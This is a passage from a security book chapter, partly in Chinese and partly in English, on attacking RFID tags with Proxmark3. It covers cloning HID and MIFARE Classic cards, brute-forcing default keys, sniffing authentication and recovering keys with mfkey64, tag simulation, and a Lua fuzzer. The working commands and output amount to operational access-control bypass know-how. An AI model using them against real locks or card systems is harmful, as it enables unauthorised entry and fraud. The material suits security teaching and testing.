Proxmark3 的所有命令都以lf参数开始,用于与低频卡交互,或以hf参数开始,用于与高频卡交互。要识别附近的已知标签,使用search参数。在以下示例中,我们使用 Proxmark3 识别一个 Hitag2 低频标签:
proxmark3> **lf search**
Checking for known tags:
Valid Hitag2 tag found - UID: 01080100
下一个命令识别一个 NXP ICode SLIX 高频标签:
proxmark3> **hf search**
UID: E0040150686F4CD5
Manufacturer byte: 04, NXP Semiconductors Germany
Chip ID: 01, IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)
Valid ISO15693 Tag Found - Quiting Search
根据标签供应商的不同,命令的输出可能还包括制造商、微芯片识别号或已知的标签特定漏洞。
低频标签克隆
让我们克隆一个标签,从低频标签开始。市面上可用的低频卡包括 HID ProxCard、Cotag、Awid、Indala 和 Hitag 等,但 HID ProxCard 是最常见的。在本节中,我们将使用 Proxmark3 克隆它,并创建一个包含相同数据的新标签。你可以使用这个标签冒充合法的标记实体,例如员工,并解锁公司大楼的智能门锁。
首先,使用低频搜索命令识别 Proxmark3 范围内的卡片。如果在范围内的卡片是 HID,则输出通常如下所示:
proxmark3> **lf search**
Checking for known tags:
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725
[+] Valid HID Prox ID Found!
接下来,提供hid作为参数,查看支持的 HID 设备的供应商特定标签命令:
proxmark3> **lf hid**
help this help
demod demodulate HID Prox tag from the GraphBuffer
read attempt to read and extract tag data
clone clone HID to T55x7
sim simulate HID tag
wiegand convert facility code/card number to Wiegand code
brute bruteforce card number against reader
现在尝试读取标签数据:
proxmark3> **lf hid read**
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725
该命令应返回 HID 标签的确切 ID。
要使用 Proxmark3 克隆此标签,可以使用一张空白或之前未编程的 T55x7 卡。这些卡通常与 EM4100、HID 和 Indala 技术兼容。将 T55x7 卡放置在低频天线位置,执行以下命令,并传入你要克隆的标签的 ID:
proxmark3> **lf hid clone 2004246b3a**
Cloning tag with ID 2004246b3a
现在,你可以像使用原卡一样使用 T55x7 卡。
高频标签克隆
尽管高频技术提供的安全性优于低频技术,但不充分或过时的实现仍可能容易受到攻击。例如,MIFARE Classic 卡是最脆弱的高频卡之一,因为它们使用默认密钥和不安全的专有加密机制。在本节中,我们将详细介绍克隆 MIFARE Classic 卡的过程。
MIFARE Classic 内存分配
为了理解 MIFARE Classic 可能的攻击路径,我们分析一下最简单的 MIFARE 卡:MIFARE Classic 1KB 卡(图 10-5)。

图 10-5:MIFARE Classic 内存映射
MIFARE Classic 1KB 卡有 16 个区块。每个区块占四个块,每个块包含 16 字节。制造商将卡的 UID 保存在区块 0 的第 0 块中,这部分内容无法修改。
要访问每个区块,你需要两个密钥,A 和 B。这些密钥可以不同,但许多实现使用默认密钥(FFFFFFFFFFFF是常见的一个)。这些密钥存储在每个区块的第 3 块中,称为区块尾。区块尾还存储访问位,它们通过这两个密钥设定每个块的读写权限。
为了理解为什么需要两个密钥,我们来看一个例子:我们用来乘坐地铁的卡片。这些卡片可能允许 RFID 读卡器使用密钥 A 或 B 读取所有数据区块,但只有使用密钥 B 才能写入这些区块。因此,只有配备了密钥 A 的闸机上的 RFID 读卡器,可以读取卡片数据,解锁闸机供余额足够的用户通行,并扣减他们的余额。但要写入或增加用户余额,你需要一个配备密钥 B 的特殊终端。车站的收银员可能是唯一能够操作此终端的人。
访问位位于两种密钥类型之间。如果公司配置这些访问位时出错——例如,无意中授予写入权限——攻击者可能会篡改该区域的区块数据。表 10-3 列出了使用这些访问位时可以定义的可能访问控制权限。
表 10-3:MIFARE 访问位
| 访问位 | 有效的访问控制权限 | 区块 | 描述 |
|---|---|---|---|
| C1[3,] C2[3,] C3[3,] | 读取、写入 | 3 | 区块尾 |
| C1[2,] C2[2,] C3[2] | 读取、写入、增加、减少、传输、恢复 | 2 | 数据块 |
| C1[1,] C2[1,] C3[1] | 读取、写入、增加、减少、传输、恢复 | 1 | 数据块 |
| C1[0,] C2[0,] C3[0,] | 读取、写入、增加、减少、转移、恢复 | 0 | 数据块 |
你可以使用各种方法来破解 MIFARE Classic 卡。你可以使用专用硬件,如 Proxmark3 或带有 PN532 板的 Arduino。甚至一些不那么复杂的硬件,如一部 Android 手机,可能足以复制、克隆和重放 MIFARE Classic 卡,但许多硬件研究人员更倾向于使用 Proxmark3,而不是其他解决方案,因为它预加载了命令。
要查看你可以对 MIFARE Classic 卡执行的攻击,请使用 hf mf 命令:
proxmark3> **hf mf**
help This help
darkside Darkside attack. read parity error messages.
nested Nested attack. Test nested authentication
hardnested Nested attack for hardened MIFARE cards
keybrute J_Run's 2nd phase of multiple sector nested authentication key recovery
nack Test for MIFARE NACK bug
chk Check keys
fchk Check keys fast, targets all keys on card
decrypt [nt] [ar_enc] [at_enc] [data] - to decrypt snoop or trace
-----------
dbg Set default debug mode
…
列出的多数命令实现了针对所用身份验证协议的暴力破解攻击(如 chk 和 fchk 命令)或已知漏洞的攻击(如 nack、darkside 和 hardnested 命令)。我们将在第十五章中使用 darkside 命令。
使用暴力破解攻击破解密钥
要读取 MIFARE 卡的内存块,你需要找到每个 16 个扇区的密钥。最简单的方法是执行暴力破解攻击,并尝试使用默认密钥列表进行身份验证。Proxmark3 为此攻击提供了一个专用命令,叫做 chk(是“check”的缩写)。此命令使用已知的密码列表来尝试读取卡片。
要执行此攻击,首先使用 hf 参数选择高频带中的命令,然后使用 mf 参数,它将显示 MIFARE 卡的命令。接着添加 chk 参数以选择暴力破解攻击。你还必须提供目标的块数量。这可以是 0x00 和 0xFF 之间的一个参数,也可以是 *** 字符,后跟指定标签内存大小的数字(0 = 320 字节,1 = 1KB,2 = 2KB,4 = 4KB)。
接下来,提供密钥类型:A 代表 A 类型密钥,B 代表 B 类型密钥,? 代表测试两种类型的密钥。你还可以使用 d 参数将识别出的密钥写入二进制文件,或使用 t 参数将识别出的密钥直接加载到 Proxmark3 仿真器内存中以供进一步使用,比如读取特定的块或扇区。
然后你可以指定一个由空格分隔的密钥列表,或者一个包含这些密钥的文件。Proxmark3 在源代码文件夹中包含一个默认列表,位于 ./client/default_keys.dic。如果你没有提供自己的密钥列表或文件,Proxmark3 将使用此文件来测试 17 个最常见的默认密钥。
下面是暴力破解攻击的示例运行:
$ proxmark3> **hf mf chk *1 ?** **t****./client/****default_keys.dic**
--chk keys. sectors:16, block no: 0, key type:B, eml:n, dmp=y checktimeout=471 us
chk custom key[ 0] FFFFFFFFFFFF
chk custom key[ 1] 000000000000
…
chk custom key[91] a9f953def0a3
To cancel this operation press the button on the proxmark...
--o.
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|001| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|002| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|003| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
…
|014| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|015| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|---|----------------|---|----------------|---|
32 keys(s) found have been transferred to the emulator memory
如果命令成功,它会显示一个表格,列出 16 个扇区的 A 和 B 密钥。如果你使用了 b 参数,Proxmark3 会将密钥存储在名为 dumpedkeys.bin 的文件中,输出结果将如下所示:
Found keys have been dumped to file dumpkeys.bin.
最新版本的 Proxmark3,例如 RVD 4.0,支持该命令的优化版本,名为 fchk。它需要两个参数,标签的内存大小和 t(传输)参数,后者可用于将密钥加载到 Proxmark3 内存中:
proxmark3> hf mf fchk 1 t
[+] No key specified, trying default keys
[ 0] FFFFFFFFFFFF
[ 1] 000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5
…
读取和克隆卡片数据
一旦知道了密钥,你就可以使用 rdbl 参数开始读取扇区或块。以下命令读取块号为 0 的 A 密钥 FFFFFFFFFFFF:
proxmark3> **hf mf rdbl 0 A FFFFFFFFFFFF**
--block no:0, key type:A, key:FF FF FF FF FF FF
data: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
你可以使用相同的方法读取完整的扇区,使用 hf mf rdsc 命令:
proxmark3> **hf mf rdsc 0 A FFFFFFFFFFFF**
--sector no:0 key type:A key:FF FF FF FF FF FF
isOk:01
data : B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
trailer: 00 00 00 00 00 00 FF 07 80 69 FF FF FF FF FF FF
Trailer decoded:
Access block 0: rdAB wrAB incAB dectrAB
Access block 1: rdAB wrAB incAB dectrAB
Access block 2: rdAB wrAB incAB dectrAB
Access block 3: wrAbyA rdCbyA wrCbyA rdBbyA wrBbyA
UserData: 69
要克隆一张 MIFARE 卡,可以使用 dump 参数。该参数会写入一个包含原始卡片所有信息的文件。你可以稍后保存并重用该文件,以创建一个新的、完整的原始卡片副本。
dump 参数允许你指定要转储的文件名或技术类型。只需将卡片的内存大小传递给它。在这个例子中,我们使用 1 表示 1KB 的内存大小(尽管因为 1 是默认大小,我们本可以省略它)。该命令使用我们在 dumpkeys.bin 文件中存储的密钥来访问卡片:
proxmark3> **hf mf dump** **1**
[=] Reading sector access bits...
...
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
[+] successfully read block 0 of sector 0\.
[+] successfully read block 1 of sector 0\.
...
[+] successfully read block 3 of sector 15\.
[+] time: 35 seconds
[+] Succeeded in dumping all blocks
[+] saved 1024 bytes to binary file hf-mf-B46F6F79-data.bin
该命令将数据存储在一个名为 hf-mf-B46F6F79-data.bin 的文件中。你可以将 .bin 格式的文件直接传输到另一张 RFID 标签上。
一些由第三方开发者维护的 Proxmark3 固件会将数据存储在两个额外的文件中,分别具有 .eml 和 .json 扩展名。你可以将 .eml 文件加载到 Proxmark3 内存中以供进一步使用,且可以使用 .json 文件与第三方软件及其他 RFID 仿真设备(如 ChameleonMini)配合使用。你可以轻松地将数据从一种文件格式转换为另一种,无论是手动进行,还是使用我们将在《通过 Proxmark3 脚本引擎自动化 RFID 攻击》一章中讨论的多种自动化脚本。
要将存储的数据复制到新卡片上,将卡片放置在 Proxmark3 天线的有效范围内,并使用 Proxmark3 的 restore 参数:
proxmark3> **hf mf restore**
[=] Restoring hf-mf-B46F6F79-data.bin to card
Writing to block 0: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
[+] isOk:00
Writing to block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[+] isOk:01
Writing to block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
…
Writing to block 63: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
[+] isOk:01
[=] Finish restore
这条命令并不要求卡片必须是空白的,但restore命令会再次使用 dumpkeys.bin 文件来访问卡片。如果卡片当前的密钥与 dumpkeys.bin 文件中存储的密钥不同,写入操作将会失败。
````### Simulating RFID Tags In the previous examples, we cloned an RFID tag by storing the legitimate tag’s data in files using the `dump` command and using a new card to restore the extracted data. But it’s also possible to simulate an RFID tag using Proxmark3 by extracting the data directly from the device’s memory. Load the previously stored contents of a MIFARE tag into the Proxmark3 memory using the `eload` parameter. Specify the name of the .*eml* file in which the extracted data is stored: ``` proxmark3> **hf mf eload** **hf-mf-B46F6F79-data** ``` Note that this command occasionally fails to transfer the data from all stored sectors to the Proxmark3 memory. In that case, you’ll receive an error message. Using the command two or more times should solve this bug and complete the transfer successfully. To simulate the RFID tag using data from the device’s memory, use the `sim` parameter: ``` proxmark3> **hf mf sim *1 u 8c61b5b4** mf sim cardsize: 1K, uid: 8c 61 b5 b4 , numreads:0, flags:3 (0x03) #db# 4B UID: 8c61b5b4 #db# SAK: 08 #db# ATQA: 00 04 ``` The *** character selects all the tag’s blocks, and the number that follows it specifies the memory size (in this case, `1` for MIFARE Classic 1KB). The `u` *parameter specifies the impersonated RFID tag’s UID.* *Many IoT devices, such as smart door locks, use the tag’s UID to perform access control. These locks rely on a list of tag UIDs associated with specific people allowed to open the door. For example, a lock on an office door might open only when an RFID tag with the UID `8c61b5b4`—known to belong to a legitimate employee—is in proximity. You might be able to guess a valid UID by simulating tags with random UID values. This could work if the tags you’re targeting use low entropy UIDs that are subject to collisions. ### Altering RFID Tags In certain cases, it’s useful to alter the contents of a tag’s specific block or sector. For example, a more advanced office door lock won’t just check for the UID of the tag in range; it will also check for a specific value, associated with a legitimate employee, in one of the tag’s blocks. As in the example from “Simulating RFID Tags” on page 254, selecting an arbitrary value might allow you to circumvent the access control. To change a specific block of a MIFARE tag maintained in the Proxmark3’s memory, use the `eset` parameter, followed by the block number and the content that you want to add to the block, in hex. In this example, we’ll set the value `000102030405060708090a0b0c0d0e0f` on block number `01`: ``` proxmark3> **hf mf eset 01 000102030405060708090a0b0c0d0e0f** ``` To verify the result, use the `eget` command, followed by the block number again: ``` proxmark3> **hf mf eget 01** data[ 1]:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f ``` Now it’s possible to use the `sim` command once more to simulate the altered tag. You can also alter the memory contents of the legitimate physical tag using the `wrbl` parameter, followed by the block number, the type of key to use (`A` or`B`), the key—which in our case is the default `FFFFFFFFFFFF`—and the content in hex: ``` proxmark3> **hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f** --block no:1, key type:B, key:ff ff ff ff ff ff --data: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f #db# WRITE BLOCK FINISHED isOk:01 ``` Verify that the specific block was written using the `rdbl` parameter, followed by the block number 01 with a type B key `FFFFFFFFFFFF`: ``` proxmark3> **hf mf rdbl 01 B FFFFFFFFFFFF** **--block no:1, key type:B, key:ff ff ff ff ff ff** **#db# READ BLOCK FINISHED** isOk:01 data:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f ``` The output contains the same contents in hex that you wrote to that block. ### Attacking MIFARE with an Android App On Android phones, you can run apps that attack MIFARE cards. One common app for this is the MIFARE Classic Tool, which uses a preloaded list of keys to brute force the key values and read the card data. You can then save the data to emulate the device in the future. To read a nearby tag, click the **READ TAG** button in the app’s main menu. A new interface should appear. From here, you can select a list containing the default keys to test and a progress bar, as shown in Figure 10-6. Save this data to a new record by clicking the floppy disk icon on the top of the interface. To clone the tag, click the **WRITE TAG** button on the main menu. In the new interface, select the record by clicking the **SELECT DUMP** button and write it to a different tag.  Figure 10-6: The MIFARE Classic Tool interface for Android devices After a successful read operation, the app lists the data retrieved from all the blocks, as shown in Figure 10-7.  Figure 10-7: Cloning an RFID tag ### RAW Commands for Nonbranded or Noncommercial RFID Tags In the previous sections, we used vendor-specific commands to control commercial RFID tags with Proxmark3\. But IoT systems sometimes use nonbranded or noncommercial tags. In this case, you can use Proxmark3 to send custom raw commands to the tags. Raw commands are very useful when you’re able to retrieve command structures from a tag’s datasheet and those commands aren’t yet implemented in Proxmark3. In the following example, instead of using the`hf mf`command as we did in previous sections, we’ll use raw commands to read a MIFARE Classic 1KB tag. #### Identifying the Card and Reading Its Specification First, use the `hf search` command to verify that the tag is in range: ``` proxmark3> **hf search** UID : 80 55 4b 6c ATQA : 00 04 SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443-4 card found, RATS not supported No chinese magic backdoor command detected Prng detection: WEAK Valid ISO14443A Tag Found - Quiting Search ``` Next, check the card’s specification, which you can find at the vendor’s site ([`www.nxp.com/docs/en/data-sheet/MF1S50YYX_V1.pdf`](https://www.nxp.com/docs/en/data-sheet/MF1S50YYX_V1.pdf) and [`www.nxp.com/docs/en/application-note/AN10833.pdf`](https://www.nxp.com/docs/en/application-note/AN10833.pdf)). According to the specification, to establish a connection with the card and perform a memory operation, we must follow the protocol shown in Figure 10-8. The protocol requires four commands to establish an authenticated connection with the MIFARE tag. The first command, *Request all* or *REQA*, forces the tag to respond with a code that includes the tag’s UID size. In the *Anti-collision loop* phase, the reader requests the UIDs of all the tags in the operating field, and in the *Select card* phase, it selects an individual tag for further transactions. The reader then specifies the tag’s memory location for the memory access operation and authenticates using the corresponding key. We’ll describe the authentication process in “Extracting a Sector’s Key from the Captured Traffic” on page 261. #### Sending Raw Commands Using raw commands requires you to manually send each specific byte of the command (or part of it), the corresponding command’s data, and, eventually, the CRC bytes for cards that require error detection. For example, Proxmark3’s `hf 14a raw` command allows you to send ISO14443A commands to an ISO14443A compatible tag. You then provide the raw commands in hex after the `-p`parameter.  Figure 10-8: MIFARE tags authentication protocol You’ll need the hex opcodes for the commands you want to use. You can find these in the card’s specification. These opcodes correspond to the authentication protocol steps shown in Figure 10-8. First, use the `hf 14a``raw` command with the `–p` parameter. Then send the *Request all* command, which corresponds to the hex opcode `26`. According to the specification, this command requires 7 bits, so use the `-b 7` parameter to define the maximum number of bits you’ll use. The default value is 8 bits. ``` proxmark3> **hf 14a raw -p -b 7 26** received 2 bytes: 04 00 ``` The device responds with a success message, named *ATQA*, with the value `0x4`. This byte indicates that the UID size is four bytes. The second command is the *Anti-collision* command*,* which corresponds to the hex opcode `93 20`: ``` proxmark3> **hf 14a raw -p 93 20** received 5 bytes: 80 55 4B 6C F2 ``` The device responds with the device UID `80 55 4b 6c`. It also returns a byte generated by performing a XOR operation on all the previous bytes as an integrity protection. We now have to send the `SELECT Card` command, which corresponds to hex opcode `93 70`, followed by the previous response, which contains the tag’s UID: ``` proxmark3> **hf 14a raw -p -c 93 70 80 55 4B 6C F2** received 3 bytes: 08 B6 DD ``` Finally, you’re ready to authenticate with a type A sector key, which corresponds to hex opcode `60`, and the default password for sector `00`: ``` proxmark3> **hf 14a raw -p -c 60 00** received 4 bytes: 5C 06 32 57 ``` Now you can proceed with the other memory operations listed in the specification, such as reading a block. We leave this as an exercise for you to complete. ### Eavesdropping on the Tag-to-Reader Communication Proxmark3 can eavesdrop on transactions between a reader and a tag. This operation is extremely useful if you want to examine the data a tag and an IoT device exchanges. To start eavesdropping on the communication channel, place the Proxmark3 antenna between the card and the reader, select either a high-frequency or a low-frequency operation, specify the tag implementation, and use the `snoop` parameter. (Some vendor-specific tags, implementations use the `sniff` parameter instead.) In the following example, we attempt to eavesdrop on an ISO14443A-compatible tag, so we select the `14a` parameter: ``` $ proxmark3> **hf 14a snoop** #db# cancelled by button #db# COMMAND FINISHED #db# maxDataLen=4, Uart.state=0, Uart.len=0 #db# traceLen=11848, Uart.output[0]=00000093 ``` We interrupt the capture by pressing the Proxmark3’s button when the communication between the card and the reader ends. To retrieve the captured packets, specify either a high-frequency or a low-frequency operation, the `list` parameter, and the tag implementation: ``` proxmark3> **hf list 14a** Recorded Activity (TraceLen = 11848 bytes) Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer iso14443a - All times are in carrier periods (1/13.56Mhz) iClass - Timings are not as accurate … 0 |992 | Rdr | 52' | | WUPA 2228 | 4596 | Tag | 04 00 | | 7040 | 9504 | Rdr | 93 20 | | ANTICOLL 10676 | 16564 | Tag | 80 55 4b 6c f2 | | 19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID 30900 | 34420 | Tag | 08 b6 dd | | 36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0) 42548 | 47220 | Tag | 63 17 ec f0 | | 56832 | 66208 | Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ? 67380 | 72116 | Tag | 0e 2b b8 3f! | | … ``` The output will also decode the identified operations. The exclamation points near the hex bytes indicate that a bit error occurred during the capture. ### Extracting a Sector’s Key from the Captured Traffic Eavesdropping on RFID traffic can reveal sensitive information, particularly when the tags use weak authentication controls or unencrypted communication channels. Because the MIFARE Classic tags use a weak authentication protocol, you can extract a sector’s private key by capturing a single successful authentication between the RFID tag and the RFID reader. According to the specification, MIFARE Classic tags perform a three-pass authentication control with the RFID reader for each requested sector. First, the RFID tag selects a parameter called `nt` and sends it to the RFID reader. The RFID reader performs a cryptographic operation using the private key and received parameter. It generates an answer, called `ar`. Next, it selects a parameter called `nr` and sends it to the RFID tag along with `ar`. Then the tag performs a similar cryptographic operation with the parameters and the private key, generating an answer, called `at`, that it sends back to the RFID tag reader. Because the cryptographic operations that the reader and the tag perform are weak, knowing these parameters allows you to calculate the private key! Let’s examine the eavesdropping communications captured in the previous section to extract these exchanged parameters: ``` proxmark3> **hf list 14a** Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer iso14443a - All times are in carrier periods (1/13.56Mhz) iClass - Timings are not as accurate Start |End | Src | Data (! denotes parity error, ' denotes short bytes)| CRC | Annotation | ------------|------------|-----|-------------------------------------------------------------- 0 |992 | Rdr | 52' | | WUPA 2228 | 4596 | Tag | 04 00 | | 7040 | 9504 | Rdr | 93 20 | | ANTICOLL 10676 | 16564 | Tag | **80 55 4b 6c** f2 | | 1 19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID 30900 | 34420 | Tag | 08 b6 dd | | 36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0) 42548 | 47220 | Tag | **63 17 ec f0** | | 2 56832 | 66208 | Rdr | **5f! 3e! fb d2****94! 0e! 94 6b** | !crc| ? 3 67380 | 72116 | Tag | **0e 2b b8 3f!** | | 4 ``` We can identify the card’s UID 1 as the value that comes before the `SELECT_UID` command. The `nt`2, `nr`, `ar`3, and `at`4 parameters appear just after the `AUTH-A(0)` command, always in this order. Proxmark3’s source code includes a tool named `mfkey64` that can perform the cryptographic calculation for us. Pass it the card’s UID, followed by the `nt`, `nr`, `ar`, and `at` parameters: ``` $ **./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f** MIFARE Classic key recovery - based on 64 bits of keystream Recover key from only one complete authentication! Recovering key for: uid: 80554b6c nt: 6317ecf0 {nr}: 5f3efbd2 {ar}: 940e946b {at}: 0e2bb83f LFSR successors of the tag challenge: nt' : bb2a17bc nt'': 70010929 Time spent in lfsr_recovery64(): 0.09 seconds Keystream used to generate {ar} and {at}: ks2: 2f2483d7 ks3: 7e2ab116 **Found Key: [****FFFFFFFFFFFF****]**1 ``` If the parameters are correct, the tool calculates the private key 1 for the sector. ### The Legitimate RFID Reader Attack In this section, we’ll show you how to spoof a legitimate RFID tag and perform a brute-force attack against the RFID reader’s authentication control. This attack is useful in cases where you have prolonged access to the legitimate reader and limited access to the victim’s tag. As you might have noticed, the legitimate tag will send the`at` response to the legitimate reader only at the end of the three-pass authentication. Adversaries who have physical access to the reader could spoof the RFID tag, generate their own `nt`*,* and receive the `nr` and `ar` from the legitimate reader. Although the authentication session can’t successfully terminate, because the adversaries don’t know the sector’s key, they might be able to perform a brute-force attack for the rest of the parameters and calculate the key. To perform the legitimate reader attack, use the tag simulation command `hf mf sim`: ``` proxmark3> **hf mf sim *1 u 19349245 x i** mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13) Press pm3-button to abort simulation #db# Auth attempt {nr}{ar}: c67f5ca8 68529499 Collected two pairs of AR/NR which can be used to extract keys from reader: … ``` The *** character selects all the tag blocks. The number that follows specifies the memory size (in this case, `1` for MIFARE Classic 1KB). The `u` parameter lists the impersonated RFID tag’s UID, and the `x` parameter enables the attack. The `i`parameter allows the user to have an interactive output. The command’s output will contain the `nr` and `ar` values, which we can use to perform the key calculation in the same way as we did in the previous section. Note that even after calculating the sector’s key, we’d have to gain access to the legitimate tag to read its memory. ### Automating RFID Attacks Using the Proxmark3 Scripting Engine The Proxmark3 software comes with a preloaded list of automation scripts that you can use to perform simple tasks. To retrieve the full list, use the `script list` command: ``` $ proxmark3> **script list** brutesim.lua A script file tnp3dump.lua A script file … dumptoemul.lua A script file mfkeys.lua A script file test_t55x7_fsk.lua A script file ``` Next, use the `script run` command, followed by the script’s name, to run one of the scripts. For example, the following command executes `mfkeys`, which uses the techniques presented earlier in the chapter (see “Cracking the Keys with a Brute-Force Attack” on page 252) to automate the brute-force attack of a MIFARE Classic card: ``` $ proxmark3> **script run mfkeys** --- Executing: mfkeys.lua, args '' This script implements check keys. It utilises a large list of default keys (currently 92 keys). If you want to add more, just put them inside mf_default_keys.lua. Found a NXP MIFARE CLASSIC 1k | Plus 2k tag Testing block 3, keytype 0, with 85 keys … Do you wish to save the keys to dumpfile? [y/n] ? ``` Another very helpful script is `dumptoemul`, which transforms a .*bin* file created from the dump command to a .*eml* file that you can directly load to the Proxmark3 emulator’s memory: ``` proxmark3> **script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml** --- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml' Wrote an emulator-dump to the file CEA0B6B4.eml -----Finished ``` The `-i` parameter defines the input file, which in our case is *dumpdata.bin*, and the `-o`parameter specifies the output file. These scripts can be very useful when you have physical access to an RFID-enabled IoT device for only a limited amount of time and want to automate a large number of testing operations. ### RFID Fuzzing Using Custom Scripting In this section, we’ll show you how to use Proxmark3’s scripting engine to perform a simple mutation-based fuzzing campaign against an RFID reader. Fuzzers iteratively or randomly generate inputs to a target, which can lead to security issues. Instead of trying to locate known defects in an RFID-enabled system, you can use this process to identify new vulnerabilities in the implementation. Mutation-based fuzzers generate inputs by modifying an initial value, called the *seed,* which is usually a normal payload. In our case, this seed can be a valid RFID tag that we’ve successfully cloned. We’ll create a script that automates the process of connecting to an RFID reader as this legitimate tag and then hide invalid, unexpected, or random data in its memory blocks. When the reader tries to process the malformed data, an unexpected code flow might execute, leading to application or device crashes. The errors and exceptions can help you identify severe loopholes in the RFID reader application. We’ll target an Android device’s embedded RFID reader and the software that receives the RFID tag data. (You can find many RFID reading apps in the Android Play Store to use as potential targets.) We’ll write the fuzzing code using Lua. You can find the full source code in the book’s repository. In addition, you can find more information about Lua in Chapter 5\. To begin, save the following script skeleton in the Proxmark3 *client/scripts* folder using the name *fuzzer.lua.* This script, which has no functionality, will now appear when you use the `script list` command: ``` File: fuzzer.lua author = "Book Authors" desc = "This is a script for simple fuzzing of NFC/RFID implementations" function main(args) end main() ``` Next, extend the script so it uses Proxmark3 to spoof a legitimate RFID tag and establish a connection with the RFID reader. We’ll use a tag that we’ve already read, exported to a .*bin* file using the `dump` command, and transformed to a .*eml* file using the *dumptoemul* script. Let’s assume that this file is named *CEA0B6B4.eml*. First, we create a local variable named `tag` to store the tag data: ``` local tag = {} ``` Then we create the`load_seed_tag()` function*,* which loads the stored data from the *CEA0B6B4.eml* file to the Proxmark3 emulator’s memory, as well as to the previously created local variable named `tag`: ``` function load_seed_tag() print("Loading seed tag..."). core.console("hf mf eload CEA0B6B4") 1 os.execute('sleep 5') local infile = io.open("CEA0B6B4.eml", "r") if infile == nil then print(string.format("Could not read file %s",tostring(input))) end local t = infile:read("*all") local i = 0 for line in string.gmatch(t, "[^\n]+") do if string.byte(line,1) ~= string.byte("+",1) then tag[i] = line 2 i = i + 1 end end end ``` To load a .*eml* file in Proxmark3 memory, we use the `eload` 1 parameter. You can use Proxmark3 commands by providing them as arguments in the `core.console()` function call. The next part of the function manually reads the file, parses the lines, and appends the content to the `tag`2 variable. As mentioned earlier, the `eload` command occasionally fails to transfer the data from all the stored sectors to the Proxmark3 memory, so you might have to use it more than once. Our simplified fuzzer will mutate the initial `tag` value, so we need to write a function that creates random changes in the original RFID tag’s memory. We use a local variable named `charset` to store the available hex characters that we can use to perform these changes: ``` local charset = {} do for c = 48, 57 do table.insert(charset, string.char(c)) end for c = 97, 102 do table.insert(charset, string.char(c)) end end ``` To fill the `charset` variable, we perform an iteration on the ASCII representation of the characters 0 to 9 and a to f. Then we create the function `randomize()` that uses the characters stored in the previous variable to create mutations on the emulated tag: ``` function randomize(block_start, block_end) local block = math.random(block_start, block_end) 1 local position = math.random(0,31) 2 local value = charset[math.random(1,16)] 3 print("Randomizing block " .. block .. " and position " .. position) local string_head = tag[block]:sub(0, position) local string_tail = tag[block]:sub(position+2) tag[block] = string_head .. value .. string_tail print(tag[block]) core.console("hf mf eset " .. block .. " " .. tag[block]) 4 os.execute('sleep 5') end ``` More precisely, this function randomly selects a tag’s memory block 1 and a position on each selected block 2, and then introduces a new mutation by replacing this character with a random value 3 from `charset`. We then update the Proxmark3 memory using the `hf mf eset` 4 command. Then we create a function named `fuzz()` that repeatedly uses the `randomize()` function to create a new mutation on the seed RFID tag data and emulates the tag to the RFID reader: ``` function fuzz() 1 core.clearCommandBuffer() 2 core.console("hf mf dbg 0") os.execute('sleep 5') 3 while not core.ukbhit() do randomize(0,63) 4 core.console("hf mf sim *1 u CEA0B6B4") end print("Aborted by user") end ``` The `fuzz()` function also uses the `core.clearCommandBuffer()` API call 1 to clear any remaining commands from Proxmark3 commands queue and uses the `hf mf dbg`2command to disable the debugging messages. It performs the fuzzing repeatedly, using a `while` loop, until the user presses the Proxmark3 hardware button. We detect this using the `core.ukbhit()`3 API call. We implement the simulation using the `hf mf sim`4 command. Then we add the functions to the original script skeleton in *fuzzer.lua* and change the main function to call the `load_seed_tag()` and `fuzz()` functions: ``` File: fuzzer.lua author = "Book Authors" desc = "This is a script for simple fuzzing of NFC/RFID implementations" …Previous functions.. function main(args) load_seed_tag() fuzz() end main() ``` To start the fuzzing campaign, place the Proxmark3 antenna close to the RFID reader, which is usually located at the back of the Android device. Figure 10-9 shows this setup.  Figure 10-9: Fuzzing the RFID reader in an Android device Then execute the `script run fuzzer` command: ``` proxmark3> **script run fuzzer** Loading seed tag... ........................................................... Loaded 64 blocks from file: CEA0B6B4.eml #db# Debug level: 0 Randomizing block 6 and byte 19 00000000000000000008000000000000 mf sim cardsize: 1K, uid: ce 